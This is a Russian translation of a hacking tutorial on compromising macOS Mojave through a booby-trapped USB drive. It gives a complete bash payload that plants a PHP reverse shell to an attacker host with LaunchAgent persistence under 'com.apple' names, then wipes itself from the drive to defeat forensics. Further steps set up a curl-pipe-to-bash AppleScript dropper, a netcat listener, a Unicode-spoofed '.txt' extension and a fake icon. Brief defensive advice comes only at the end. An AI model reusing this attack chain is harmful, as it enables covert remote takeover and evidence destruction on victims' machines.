20.12.2018

Как скомпрометировать MacOS Mojave 10.14 при помощи самоуничтожающейся полезной нагрузки

image

Мы рассмотрим эксплуатацию небезопасных прав доступа к файлам для организации устойчивого канала к системе жертвы, используя самоуничтожающуюся полезную нагрузку.

Автор: tokyoneon

Пока пользователи наслаждаются темным режимом в новой версии macOS, мы рассмотрим эксплуатацию небезопасных прав доступа к файлам для того, чтобы организовать устойчивый канал к системе жертвы, используя самоуничтожающуюся полезную нагрузку, которая не оставляет практически никаких следов для криминалистического анализа.

Последняя версия macOS (Mojave 10.14) была выпущена в 24 сентября 2018 года и породила много дискуссий среди энтузиастов. В новой операционной системе появился динамический рабочий стол, улучшенный инструментдля создания скриншотов и обновленное приложение Finder. Кроме того, в новом релизе появились новые функции безопасности, о которых мы поговорим как-нибудь в другой раз. А сейчас рассмотрим эксплуатацию прав доступа файлов, хранящихся на USB-носителе, с целью компрометирования операционной системы.

Почему macOS уязвима к небезопасным файлам, передаваемым через USB

Вначале откроем терминал и создадим файл на рабочем столе при помощи команды touch.

touch /Users/<username>/Desktop/file1.txt

Затем, используя команду ls, посмотрим права на запись, чтение и выполнение. Ключ –l позволяет отобразить более подробную информацию.

ls -l /Users/<username>/Desktop/

-rw-r--r--   1 tokyoneon  staff     0 Sep 26 21:57 file1.txt

Обратите внимание, что у только что созданного файла права -rw-r--r--. То есть мы можем читать (r) и записывать (w), но не выполнять, а другие пользователи могут только читать (r--). Обычно эти права являются вполне безопасными и назначаются операционной системой для каждого нового файла, создаваемого пользователем.

Теперь, если мы при помощи той же самой команды посмотрим права на файлах, хранящихся на USB-носителе, то увидим следующую картину:

ls -l /Volumes/USB_NAME_HERE/

-rwxrwxrwx  1 tokyoneon  staff      0 Sep 27  2018 file2.txt
-rwxrwxrwx  1 tokyoneon  staff      0 Sep 27  2018 file3.png
-rwxrwxrwx  1 tokyoneon  staff      0 Sep 27  2018 file4.gif
drwxrwxrwx  1 tokyoneon  staff  16384 Sep 27  2018 directory1.app

Как вы могли заметить, на всех файлах выставлены права на чтение, запись и выполнение для всех групп пользователей. К сожалению, как и в предыдущих версиях macOS, в новой версии предполагается, что подключаемое USB-устройство является достоверным, и выдаются излишние права на файлы.

Читатели, знакомые с созданием троянизированных скриптов, написанных на Apple Script, знают, что приложения в macOS представляют собой директории, в имени которых содержится расширение «.app». И если у этого файла есть права на выполнение, при двойном клике вместо открытия директории в Finder произойдет запуск внутреннего бинарного файла. То есть подобные скрипты и другие файлы, созданные злоумышленником, могут быть помещены на USB-носитель для компрометирования целевой системы.

Шаг 1: Идентификация файловой системы на USB-носителе

USB-устройства, отформатированные под файловую систему APFS, нельзя использовать для реализации этой атаки. Файлам на подобных носителях назначаются права только на чтение и запись. Соответственно, вы не сможете запустить что-либо в целевой системе.

Нам не нужно вдаваться в технические детали файловых систем. Подойдут любые носители, отформатированные под NTFS или FAT32. Эти форматы наиболее распространены, кроссплатформенны и используются производителями по умолчанию. Таким образом, в системе с macOS мы сможем подключить эти носители и прочитать содержимое.

Чтобы узнать тип файловой системы, используемой USB-носителем, воспользуйтесь утилитой fdisk с ключом –l. Обратите внимание на колонку Type, где указан тип «FAT32».

fdisk -l
 
Disk /dev/sdc: 28.7 GiB, 30752636928 bytes, 60063744 sectors
 
Device     Boot Start      End  Sectors  Size Id Type
/dev/sdc1          32 60063743 60063712 28.7G  c W95 FAT32 (LBA)

Кроме того, файловую систему можно посмотреть в приложении Disk Utility.

Рисунок 1: Приложение Disk Utility

Шаг 2: Создание самоуничтожающейся полезной нагрузки

Ранее я рассматривал создание небольших полезных нагрузок для компрометирования macOS, используя Tclsh, Python и Ruby, цель которых – создание уязвимости в целевой операционной системе, позволяющей запускать удаленные команды и реализовать различные атаки.

В этой статье будет рассмотрена полезная нагрузка более продвинутого уровня, поскольку я хочу добавить больше устойчивости и функцию самоуничтожения.

После внедрения в операционную систему все следы на USB-носителе будут тут же удаляться. Перед тем как двигаться дальше рекомендую ознакомиться с AppleScript, BASH и технологией запуска файлов во время загрузки macOS.

Вкратце рассмотрим, что происходит, когда жертва кликает на файл, который хранится на USB-носителе:

Рисунок 2: Содержимое USB-носителя

Должен сказать, что самоуничтожающиеся файлы не настолько полезны, как может показаться на первый взгляд. Если жертва заметит, что файлы с USB-носителя исчезли, то неминуемо заподозрит неладное. Хотя иногда самоуничтожающаяся полезная нагрузка может пригодиться, например, в тех случаях, если вы ходите быстро получить информацию и замести следы.

Кроме того, эта тема может оказаться кстати, если вы проводите учения, когда одна команда пытается избежать обнаружения в системе, а другая – предотвратить компрометирование. В этом случае та команда, которая пытается защитить систему, будет знать, что было запущено нечто вредоносное, но не будет знать, что конкретно.

В полезной нагрузке, показанной ниже, мы не будем получать какую-либо информацию, а организуем скрытый канал каждый раз, когда жертва авторизуется в операционной системе. Для лучшего понимания кода я добавилкомментарии.

#!/bin/bash
 
# Name of the evil AppleScript placed on the USB drive intended for that target user. The name must appear exactly as it does on the USB drive for this script to locate and delete it.
payloadName='evil'
 
# Name of the shell script saved to the target device. This script will be written to the disk and executed when the target logs into their account. The "com.apple.filename" naming scheme is similiar to many system files found in macOS. This filename is arbitrary and can be renamed as needed.
scriptName='com.apple.sh'
 
# The .plist is a configuration file used to store settings related to macOS services. This filename is arbitrary, but must use the .plist file extension.
plistName='com.mojave.persistence.plist'
 
# Location of attacker's server/VPS hosting the netcat listener. If this attack is taking place on a local network, 192.168.0.XX can be used instead of a remote VPS IP address.
attackerHost='11.22.33.44'
 
# Port number of attacker's netcat listener. This port number is arbitrary and can be changed.
attackerPort='9999'
 
# PHP one-liner embedded into .plist config file, opens a TCP socket and uses /bin/bash to emulate the remote shell. This command can be substituted with a different one-liner featured on Null Byte, an Empire payload, or a custom payload of your design.
payload='php -r '\''$s=fsockopen('\"$attackerHost\"','"$attackerPort"');`/bin/bash -i <&3 >&3 2>&3`;'\'''
 
# Using echo to createthe "com.apple.sh" shell script in the ~/Library/Caches/ directory, where many macOS system files are located. Placing this script here may help evade detection. This script will hold the PHP payload.
echo -e "#!/bin/bash\n$payload" > /Users/$USER/Library/Caches/"$scriptName"
 
# Grants the shell script permission to execute as the target $USER.
chmod +x /Users/$USER/Library/Caches/"$scriptName"
 
# An `if statement` ensures the LaunchAgents directory exists. I found this directory didn't exist in some fresh macOS installations.
if [[ ! -d /Users/$USER/Library/LaunchAgents ]]; then
        mkdir /Users/$USER/Library/LaunchAgents
fi
 
# Creates a simple .plist in the ~/Library/LaunchAgents/ directory that executes the previously created com.apple.sh script when the target user logs into their macOS account. This directory must be used in order to execute the com.apple.sh script at login. .plist config files are in XML format, in the below structure.
echo '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>Disabled</key>
        <false/>
        <key>Label</key>
        <string>'"$scriptName"'</string>
        <key>ProgramArguments</key>
        <array>
         <string>/Users/'"$USER"'/Library/Caches/'"$scriptName"'</string>
        </array>
        <key>RunAtLoad</key>
        <true/>
</dict>
</plist>' > /Users/$USER/Library/LaunchAgents/"$plistName"
 
# Loads the newly created .plist config file in ~/Library/LaunchAgents/ which enables persistence.
launchctl load /Users/$USER/Library/LaunchAgents/"$plistName"
 
# This command finds the evil AppleScript on the USB drive and deletes it using `rm` with the `-Prf` arguments so it's forcefully overwritten several times to make undeleting and forensics difficult, if not impossible.
find /Volumes -type d -iname "$payloadName"*.app -exec rm -Prf {} \;

Теперь, когда мы знаем, как работает полезная нагрузка, пришло время настроить сервер для хранения файлов и слушатель с использованием netcat.

Шаг 3: Настройка веб-сервера для хранения полезной нагрузки

В нашей схеме AppleScript будет скачивать полезную нагрузку, расположенную на сервере, а затем запускать полученный файл в целевой системе. Храниться полезная нагрузка будет на простейшем веб-сервере, представляющим собой модуль на Python 3.

Вначале при помощи команды mkdir в домашней папке (~/) создаем директорию под именем «pythonServer». В эту директорию, которая будет доступна через интернет, мы поместим полезную нагрузку.

mkdir ~/pythonServer

Используя команду cd, переходим в только что созданную директорию.

cd ~/pythonServer

В любом текстовом редакторе (я использую nano) сохраняем полезную нагрузку в файл под именем «p.sh». Имя файла выбираем как можно короче, чтобы код на AppleScript был как можно меньше и проще.

nano p.sh

Теперь запускаем веб-сервер, при помощи команды ниже:

python3 -m http.server 80

Используя ключ –m мы активировали модуль http.server. Веб-сервер будет крутиться на 80-м порту. Протестировать запущенный веб-сервер можно при помощи команды ниже, только нужно поменять IP-адрес на тот, который используете вы.

http://11.22.33.44/p.sh

Чтобы веб-сервер оставался в рабочем состоянии, нужно оставить терминал открытым, где запущен Python 3.

Шаг 4: Запуск слушателя на базе netcat

Слушатель на базе netcat должен быть запущен в вашей системе с Kali Linux или на отдельном VPS-сервере. К слушателю будет подключаться целевая система после запуска скрипта AppleScript.

Запускаем слушатель при помощи следующей команды:

nc -l -p 9999

После запуска порт слушателя будет открыт на всех доступных интерфейсах. Если вы работаете в локальной сети, слушатель будет доступен по локальному адресу (192.168.0.XX). Если же слушатель работает на отдельном VPS-сервере, убедитесь, что в коде полезной нагрузки указан IP-адрес для подключения. Номер порта можно указать любой.

Шаг 5: Создание скрипта на AppleScript

Теперь, когда полезная нагрузка доступна для скачивания, можно приступать к созданию скрипта. Для создания приложений на AppleScript нам понадобится macOS и редактор Script Editor.

Открываем Script Editor и вводим следующий текст:

do shell script "curl -s http://11.22.33.44/p.sh | bash - &"

Чтобы AppleScript смог выполнить команду вначале нужно использовать конструкцию do shell script. Команда curl незаметно (-s) скачивает полезную нагрузку «p.sh», после чего происходит запуск в фоновом режиме. Не забывайте, что IP-адрес (11.22.33.44) может указывать как на вашу Kali-машину в локальной сети, так и на отдельный VPS-сервер.

Кликаем на раздел «File» и выбираем «Export» для сохранения скрипта в директории ~/Desktop в формате Application. Не нужно сохранять скрипт сразу же на USB-носителе, поскольку macOS любит создавать скрытые файлы, которые могут использоваться во время экспертизы для изучения полезной нагрузки.

Рисунок 3: Сохранение скрипта

Шаг 6: Подделка расширения файла

Если мы попытаемся добавить «левое» расширение к файлу скрипта, macOS автоматически добавит расширение .app (см. рисунок ниже). Однако мы можем воспользоваться символами в кодировке Unicode, и в этом случае, автоматическая подстановка расширения не сработает.

Рисунок 4: Демонстрация автоматической подстановки расширения и использование Unicode-символов

Я воспользовался символом «Latin Small Letter T» («U+1E6B»), который, на первый взгляд, выглядит как символ «T» в нижнем регистре.

Рисунок 5: Таблица дополнительных символов, которые можно использовать для маскировки расширения

Приведенный пример использования символов в кодировке Unicode является одним из многих. Существует множество других Unicode-символов, которые выглядят в точности так же, как и символы из основного алфавита.

Шаг 7: Копирование AppleScript на USB-носитель

В ваш MacBook вставьте USB-флешку, при помощи которой будет доставляться ваш скрипт в целевую систему. Откройте терминал и запустите следующую команды для копирования скрипта на USB-устройство.

cp -rX /Users/<username>/Desktop/evil<PRESS TAB> /Volumes/USB-NAME-HERE/

Во время ввода имени файла нужно нажать кнопку Tab, чтобы терминал добавил оставшуюся часть имени. Таким образом, мы сможем скопировать файл на USB-носитель, даже если в имени присутствуют Unicode-символы. Команда выше рекурсивно (-r) копирует содержимое директории исключая (-X) скрытые резервные файлы, созданные операционной системой.

Шаг 9: Добавление иконки, чтобы файл выглядел как текстовый

Этот шаг нужно делать в самую последнюю очередь, поскольку путь к поддельной иконке указывается в скрипте. Сначала поддельную иконку нужно сохранить внутри приложения, а затем переместить в окно Get Info (см. рисунок ниже).

Рисунок 6: Добавление поддельной иконки

Эта иконка, символизирующая текстовый файл, сделана на скорую руку и не совсем похожа на оригинальный вариант. Если присмотреться поближе надпись «TXT» не настолько темная, а тень - не совсем правильная. Однако в целом я думаю, что этот вариант вполне допустим и дает хорошее представление о том, как можно быстро сделать очень похожую копию. Если поместить в одну директорию файлы с настоящими иконками и полезную нагрузку, имитирующую текстовый файл, то отличия будут едва различимы.

Рисунок 7: Оригинальные текстовые файлы вместе с полезной нагрузкой, имитирующей текстовый документ

В статье «Create a Fake PDF Trojan with AppleScript» рассказывает более подробно о том, как создаются иконки (файлы с расширением .icns).

Шаг 9: Начинаем действовать

Когда жертва кликает на поддельный текстовый файл, образуется новое подключение к Netcat. Теперь, во время каждой авторизации в операционной системе, будет попытка создать новое подключение.

Дальнейшее компрометирование системы и учетных записей осуществляется при помощи других атак: расширения привилегий, выгрузки паролей из браузеров или удаленной прослушкой через микрофон макбука.

Как защититься от распространения вредоносных файлов через USB

Эта атака была реализована в последней версии MacOS со стандартными настройками приложения Finder. Вот несколько советов, которые помогут защититься от подобного рода атак:

· Не используйте подозрительные USB-носители. Если вдруг у вас оказалась флешка, которую вы не используете, подумайте десять раз прежде, чем подключить это устройство. Наверное, это один из наилучших советов, который я могу дать. Если флешка все же оказалась подключена к вашему компьютеру (или к одному из компьютеров ваших сотрудников), то это может быть результатом хорошо спланированной атаки с использованием социальной инженерии. Короче говоря, вне зависимости от внешнего вида USB-устройства и файлов, которые там находятся, не вставляйте этот девайс в ваш MacBook. Если вам все же нужно посмотреть, что находится на USB-носителе, читайте советы ниже.

· Обращайте особое внимание на расширения файлов. Трюк с Unicode-символами, используемый для подделки расширения файла, работает только с деактивированной опцией «Show all filename extensions» (показать все расширения файлов), которая по умолчанию отключена. Чтобы включить отображение расширений зайдите в настройки приложения Finder и включите соответствующую опцию во вкладке «Advanced». В этом случае подделка расширения станет невозможна, поскольку в конец скрипта будет добавлено .app.

Рисунок 8: Включение опции Show all filename extensions

· Не кликайте дважды на подозрительные файлы. Самый безопасный вариант – выбирать программу при открытии файла. Кликните правой кнопкой мыши на нужном файле и выберите приложение в меню «OpenWith». У скриптов, написанных на AppleScript, такого меню нет, поскольку эти файлы, по сути, являются директориями и не могут быть открыты при помощи текстового редактора и других приложений.

Рисунок 9: Контекстное меню для приложений, написанных на AppleScript

· Смотрите содержимое директории в терминале. В случае любых сомнений используйте терминал для просмотра перечня файлов на USB-устройстве при помощи команды ls. В этом случае подделка расширения не возможна ни при каких обстоятельствах. Используйте ключ -l для вывода расширенной информации и опцию –a для просмотра всех файлов, включая скрытые.

ls -la /Volumes/USB-NAME-HERE/
 
drwxrwxrwx@ 1 tokyoneon  staff    16384 Sep 28 11:01 .
drwxr-xr-x@ 4 root       wheel      128 Sep 28 03:52 ..
drwxrwxrwx@ 1 tokyoneon  staff    16384 Sep 28 05:03 evil.txṫ.app
-rwxrwxrwx  1 tokyoneon  staff  3566129 Sep 28 02:40 real.txt
-rwxrwxrwx  1 tokyoneon  staff  1938446 Sep 28 02:41 .hiddenfile.txt

· Пользуйтесь утилитой file. Команду file можно использовать для идентификации типа файлов. Нужно просто указать путь к файлу, который вы хотите проанализировать. По результатам выполнения команды ниже видно, что по настоящим текстовым файлам выводится тип «ASCII text», а по скриптам, написанным на AppleScripts – тип «directory» (директория). Для ознакомления со справкой для утилиты file используйте команду man file.

file /Volumes/USB-NAME/real.txt
/Volumes/USB-NAME/real.txt: ASCII text
 
file /Volumes/USB-NAME/evil.txṫ.app
/Volumes/USB-NAME/evil.txṫ.app: directory

На сегодня все. По любым вопросам можете связаться со мной через твиттер @tokyoneon_.